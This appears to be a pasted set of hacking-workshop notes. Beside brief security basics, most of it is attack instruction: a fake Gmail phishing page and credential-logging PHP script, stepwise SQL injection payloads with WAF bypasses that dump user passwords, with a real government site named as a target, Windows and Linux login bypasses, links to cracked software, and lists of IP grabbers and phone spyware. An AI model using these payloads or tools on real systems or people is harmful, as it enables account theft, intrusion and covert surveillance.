· 9 years ago · Apr 02, 2017, 12:46 PM
1fb.com/rahultyagiofficialpage
2instagram.com/iamrahultyagi
3twitter.com/rahultyagihacks
4
5
6
7Day 1 - LPU
8Introduction to Cyber Security
9Cyber Security is a part of IT eco system of an private organisation , Govt agencies and individual lifes.
10
11Threats for Banking Sectors
12-> Ransomwares
13-> DDOS Attacks
14-> Social Engineering Attacks
15-> Web Application Attacks
16-> SQL Injection
17
18
19Threats to the GOvt.
20-> National Security
21-> Critical Infrastructure
22
23Privacy to Citizens
24-> Identity Theft
25-> Critical Information Disclosure in Public
26
27
28
29
30-> For CSE -> Application + Network + Mobile
31-> For ECE -> Next Generation Secure Hardware Code
32-> Mechanical -> Aviation + Automobile
33-> Civil -> Smart cities
34-> Others
35
36Basics of Networking
37-> Network : Collection of devices with a common purpose of exchanging information and sharing perephiral devices known as a network.
38
39LAN MAN WAN PAN
40
41-> IP address : Its like your phone number
42
43Local IP : LAN and MAN
44Total : 255*255*255*255=????
45LAN and MAN
46192.168.1.1
47172.16.1.1
4810.0.0.1
49Windows: cmd -> ipconfig
50Linux/Unix/Mac: -> terminal -> ifconfig
51
52 Connection-specific DNS Suffix . : localdomain
53 Link-local IPv6 Address . . . . . : fe80::c01f:cb7e
54 IPv4 Address. . . . . . . . . . . : 192.168.235.198
55 Subnet Mask . . . . . . . . . . . : 255.255.255.0
56 Default Gateway . . . . . . . . . : 192.168.235.2-> Mobile IP address
57
58
59Global IP : IP address given by the ISP to connect to the world.
60
61whatismyip.com
62
63-> Automated IP : Hotspot and Router Network
64
65
66
67-> Know Your IP Local and Global
68-> Privacy on Internet
69-> Secure Communication
70-> Secure Communication : Proxy and VPNs
71Web Based Proxy: WHen you use Website to change ur IP address.
72
73www.hidemyass.com
74www.kproxy.com
75www.ninjaproxy.com
76
77and so on...
78
79Standalone Proxy Servers
80When u use the application softwares to change the IP address by going to the non traditional port for the communication.
81
82Filters : Port 80,8080 or 443
83Bypass: Application-> 9999, 7777, or etc
84
85Ultra Surf 1.44MB
86Hotspot security shield
87Download: https://ultrasurf.us/
88
89VPNs:
90-> LPU VPN
91-> ProXPN
92-> TOR Network
93Watch Here : https://www.youtube.com/watch?v=DkEqWGF3cvg
94
95Cryptography and Steganography
96Cryptography takes care of two types of data.
971. residing data 2. Transit data
98
99Steganography : Where the goal of teh cryptography is to scrambled the data and information from the third part here the goal of the steganography is to HIDE the data from the third party.
100
101
102
103
104
105
106
107Information Gathering and Cyber Crime Tackling
108-> Email Tracing : Identifying Origin of Email
109Fake Emails:
110-> Email Websites : ekmei.cz
111-> Own PHP EMail Script for Fake Emails: github
112-> People Search + Information Gathering of People
113com.lullar.com --> People Email Searching
114-> jantakhoj.com : Gathering Intelectual information about any one any where.
115
116
117
118-> Shutting Down Illegal Websites and Blogs
119Information Gathering about website which is not available on the website.
120-> lpu.in
121whois.domaintools.com
122
123Email to : abuse@registrar.schlund.info
124Subject: Report Abuse to Domain ID: D425500000000413781-AGRS
125Body: Sir this website is hosting illegal content bla bla bla and infinity bla.
126
127Regards
128Bla Bla Brother
129
130
131
132-> IP address Tracing and Grabbing of Criminal
133-> www.whatstheirip.com
134-> www.fuglekos.com/ip-grabber/
135
136Link: https://goo.gl/UBr6wD
137IP address: 107.167.108.173
138iplocation.net : Find ISP Behind the IP address.
139
140-> Case Study : Jaipur College Confession Page - 2013
141
142Malwares
143-> Types of Malwares
144Virus : A code which infects systems and make them unstable in working.
145PS: A true virus cannot spread from one computer to another computer without human assitance.
146Worms : It can spread from one place to another without human assistance.
147
148Trojans : AKA RATs(Remote Accessing Tools) used to infect systems and then control overall functionaly of the system remotely from any where in the world.
149
150
151Adwares : malwares designed to trick users to click on ads and then generate money from clicks.
152- To get RID of these attacks get UBlock plugin in mozilla firefox.
153
154Ransomwares : Once infect your computer then encrypts the data with minimum 1024 bit encryption and then ask for money to get it back.
155
156Types:
157Tricky ransomwares : Children
158Direct ransomwares : Private Sector
159
160
161
162Spywares : Who spy and steal credentials like username password,credit card details and so on like chat and then black mail the person.
163
164
165Rootkits : Infects the ROm level of the os hence no one can detect it.
166
167
168Botnets : Millions of computers got infected by the criminal and they use it for teh DDOS attack.
169
170-> Basic Virus Code in Batch Scripting
171
172-> Trojans
173-> Types of Trojans
174Download: https://ufile.io/b07a1
175
176Protection from Malwares
177-----------------------
1781. Viruses and Worms
179-> USB Disk Security
1802. No Virus thanks exe radar pro
181
182
183Cyber Forensics
184-> Recovering data From HDD, Memory card, Pen Drives, Portabable HDD
185-> Easus data Recovery professional
186Download: https://ufile.io/cce751
187
1881GB Pendrive: MB : 900MB
189Index Data Size
1901010 setup.exe 100MB
1911111 Movie720P.mp4 700MB
192
193
194-> Stellar Data Recovery: Data Recovery Software - Law Enforcement and Professional Nehru Place recovery Softwares
195
196System Hacking: Bypassing Login of Windows/ Linux/ Mac OS
197Linux :Bypassing Kali Linux Password
198Step 1: Select Recovery MODe Press E
199Step 2: Change ro to rw and add init=/bin/bash at the end of line and Press F10
200Step 3: Reset password by typing passwd root and press enter
201Step 4: Type new password and restart the system
202
203Bypassing Ubuntu System Password
204Step 1: Go to Safe mode
205Step 2: Recover Mode
206Step 3: Select the second last option from the list i.e SHELL
207Step 4: type passwd root
208Step 6: Give the new password and confirm password and restart the machine.
209Step 7: Fill the new password and enjoy :) .
210
211
212Windows: Cracking Windows Login Credentials
2130-----------------------------------------0
214
215Windows Stores its password in hash format in a file known as SAM(Security Accounts Manager).
216
217C:/windows/system32/config/sam
218
219Active Password Changer
220
221Step 1: Hirenboot CD bootable
222Step 2: Boot it and select Boot into AERO Mode
223Step 3: Select Hiren BOOT CD Tools
224Step 4: Select 3rd option password changer
225Step 5: Select ACTIVE PASSWORD changer and remove ur hands from keypad.
226Step 6: Select 2nd option ms SAM file
227Step 7: Select the account which you want to reset
228Step 8: Change the password
229Step 9: Restart
230Step 10: No password is there Cheers!!! :)
231
232
233Day 2
234-----
235Email Hacking: Email hacking is a method or technique in which we trick the user with social engineering to enter his/her credentials mainly userid and password and then login into the account.
236
237There are many ways through which you can attack any email service.
2381. Bad Passwords
239->phone numbers -> 45%
240- char : rahul
241- numeric: 93333333
242- special:
243- complex: R@Hu7
244- Dictionary based Password: chair, donkey,temple,punjab
245- Pass Phrases aka Robust Password
246- *iG3sImG*
247
2482. Phishing : Its a technique in which we make a fake clone page of any login panel and then trick the user to fill the details inside it , its not only related to passwords , these days criminals directly get credit card details and so on which can make money for them directly.
249
2501. Simple Phishing
2512. Spear Phishing
2523. IDN Homograph Phishing
2534. Vishing
2545. Smishing
255
256
257Phishing
258--------
2591. Gmail Fake Page
2602. PHP Script
2613. Logs.txt
262
263Making Computer As Server: XAMPP Server
264Download: apachefriends.org
265
266C:/xampp/htdocs/gmail
267Download Gmail: https://pastebin.com/XCn5WB9q
268Nokia.php: https://pastebin.com/QJ4pEUye
269
270email=rahul@gmail.com
271password=12345
272GET Method
273
274
275IDN Homograph Attack
276--------------------
277https://en.wikipedia.org/wiki/IDN_homograph_attack#Cyrillic
278
2792. Keyloggers
280-> Local Keylogger: Family Keylogger 0.22MB
281Download: http://www.spyarsenal.com/download.html
282Home Work-> Remote Keyloggers: Ardamax Keylogger - Paid
283
284Always use two step verification in gmail.
285
286Web Application Hacking and Security
287------------------------------------
288OWASP Top 10 Attacks
289 A1 Injection.
290 A2 Broken Authentication and Session Management.
291 A3 Cross-Site Scripting (XSS)
292 A4 Insecure Direct Object References.
293 A5 Security Misconfiguration.
294 A6 Sensitive Data Exposure.
295 A7 Missing Function Level Access Control.
296 A8 Cross-Site Request Forgery (CSRF)
297 A9 Unvalidated Redirects and Forwards
298 A10 Using Component with KNown Vulnerabilities
299
300Injections: SQL Injection
301-------------------------
302Webiste: Collection of webpages known as website.
303
304Static Websites: When website is designed in pure HTML and having no database attach to it then we can say its a pure static site mainly in read only mode.
305
306
307Dynamic Websites: When website carry so many user interaction points from where user can send the data or information inside the website with teh help of database connectivity we can say this is a dynamic website.
308
309For Example: FB and Gmail.com etc.
310
311Attacking Websites from Google Dorks
312--------------------------------------
313Getting the Critical Information Holding databases from Google.
314Title : Blue
315URL : Green
316Content : Black
317
318Every website take care of the dump of the SQL file as a backup everyday.
319
320SQL Injection: When we send malicious sql code to the website and try to execute in teh database for any desired output.
321
322
323username=?
324password=?
325 Login
326
327select * from users where username='?''or'1'='1 and password='?''or'1'='1
328
329'or'1'='1
330
331How to attack and test security for webistes which are protected from Simple SQL Injection and Also Backed up by Web Application Firewalls Designed to protect from hackers.
332
333Target : target.com (Example)
334Attack Auditing: Advance SQL Injection with WAF Bypassing
335
336Step 1: multan.gov.pk . FInd any GET method in the URL of the website.
337GET METHOD : .php?id=10
338POST METHOD : .php
339
340Step 2: Check the validation and Exception Handling of the website URL
341target.com/files.php?id=1'
342
343Step 3: Check the total number of Columns are there except ID.
344target.com/files.php?id=1 order by 1--+
345
346Step 4: Dump the structure of the two columns on teh right handside.
347target.com/files.php?id=1 union select 1,2--+
348
349Attack 1 to Bypass : Upper Lower Case Injection
350UnIoN sElEcT
351target.com/files.php?id=1 /*!UnIoN*/+/*!sElEcT*/ 1,2--+
352
353Attack 2
354--------
355Inline Execution Comments
356/*UnIoN*/+/*!sElEcT*/
357
358Attack 3
359--------
360Version Based Inline Executable Comments
361MY-SQL VERSIONS
3625.00.00 When We type in URL : 50000
3634.00.00 When We type in URL : 40000
3643.00.00 When We type in URL : 30000
3652.00.00 When We type in URL : 20000
3661.00.00 When We type in URL : 10000
367
368
369target.com/files.php?id=1 /*!50000UnIoN*/+/*!50000sElEcT*/ 1,database()--+
370
371
372Database --> Tables -> Columns/ROws -> data
373
374Get the Tables
375
376schema: In the database schema holds the responsibility to take care of the entire structure of the database.
377
378Information of all the tables i.e Index
379Information of all the columns i.e Index
380
381Table: information_schema.tables
382Columns: information_schema.columns
383
384target.com/files.php?id=1 /*!50000UnIoN*/+/*!50000sElEcT*/ 1,/*!table_name*/ /*!from*/ /*!information_schema.tables*/--+
385
386
387Target Table: users
388
389Get the columns of the users table
390target.com/files.php?id=1 /*!50000UnIoN*/+/*!50000sElEcT*/ 1,/*!50000GrOuP_cOnCaT(column_name)*/ /*!50000from*/ /*!50000information_schema.columns*/ /*!50000where*/ /*!50000table_name='users'*/--+
391
392
393Get the login and password
394target.com/files.php?id=1 /*!50000UnIoN*/+/*!50000sElEcT*/ 1,password from users--+
395
396
397Security Tips for Developers
398------------------------------
3991. Always use Escape Character Validation at client side and server side.
4002. Do not use GET methods on requests in website
4013. Always use stored procedures
4024. Never accept special character in the login fields or any other fields of the website.
4035. Do see OWASP TOP 10 attacks security gudielines before starting a new development project. Via owasp.org
404
405Wifi Hacking and Security
406-------------------------
407WiFI stands for Wireless Fidelity. Works on 802.11a protocol onwards.
408
409Security
410--------
411WEP , WPA and WPA-2 PSK Authentication
412
413WEP stands for Wired Equivalent Privacy. It is 802.11's first hardware form of security where the user and WAP are configured with an encryption key of either 64 bits or 128 bits in HEX. It works in this way that when the user attempts to authenticate, the AP issues a random challenge. The user then returns the challenge, encrypted with the key and the AP decrypts this challenge and if it matches the original the client is authenticated otherwise not. The problem with WEP is that the key is static, which is vulnerable, means by using some tools a hacker could use reverse-engineering to extract the encryption key. This process affects the transmission speed.
414
415WPA stands for WiFi Protected Access. It builds upon WEP, to make it more secure by adding extra security mechanism and algorithms to stop unauthorized access. WPA delivers a level of security way beyond anything that WEP can offer. WiFi compliance ensures interoperability between different manufacturer’s equipment. WPA bridges the gap between WEP and 802.11i networks, and has the advantage that the firmware in older equipment may be upgradeable. It's a new security standard adopted by the WiFi Alliance consortium.
416
417WPA2 is similar to WPA, except one thing that it add extra encryption called AES-CCMP. The primary difference between WPA and WPA2 is that WPA2 uses a more advanced encryption technique called AES (Advanced Encryption Standard), allowing for compliance with FIPS140-2 government security requirements. We prefer WPA2 because it has more than three protection levels, making it nearly impossible for computer guru hackers to break the encryption. AES is so good that it blocks statistical analysis of the cipher text. WPA2 is based upon the Institute for Electrical and Electronics Engineers’ (IEEE) 802.11i amendment to the 802.11 standard, which was modified on July 29, 2004.
418
419
420To Attack and Test the Wifi Security
421-----------------------------------
4221. Kali Linux OS www.kali.org 2.0 onwards
423
4242.TPLINK Exeternal Wifi Adapter:http://dl.flipkart.com/dl/tp-link-tl-wn722n-150mbps-high-gain-wireless-usb-adapter/p/itmdzusgbtfhhadq?pid=USBDZUSDGUZBGBXR&affid=officialra
425
4263.airmon-ng : This application is used to detect the hardware of the card.
427
4284. airodump-ng : This will help you to select and target a particular wireless hotspot which we want to hack.
429
4305. aircrack-ng : After capturing the KEY of wifi we have to decrypt it or crack it with the help of aircrack-ng.
431
432
433rahul-->!@#$%
434
435!@#$% -> X Decrypt this into Rahul gain.
436
437Good News
438We know the algorithm which convert text into hash.
439
440!@#$% !@#$% <--rahul<-- Dictionary 70%
441 pankaj
442 gaurav
443 hello
444 rahul
445
446
447Path : usr/share/wordlists/rockyou.txt.gz
448
449
450
451
452
453Game Hacking
454------------
455Game Download: https://ufile.io/926c6
456Cheat Engine Download: https://ufile.io/c2c932
457
458Reverse Engineering: Cracking Applications
459------------------------------------------
460Target : Perfect Keylogger
461Price: $49 Approx
462Download: http://www.blazingtools.com/downloads.html
463
464Mobile Hacking
465--------------
4661. Android Deleted Whatsapp,Skype Chat Recovery | Bypassing Lock Screen
467Download:https://tinyurl.com/htm42kd
468Crack: http://www94.zippyshare.com/v/4S8Dw8VW/file.html
469
470TruthSPY
471Spy2Mobile
472MaxSpy
473Overcraft
474
4752. Rooting : King Root.apk
476 Jailbreaking : Pangu and Taiji Jailbreak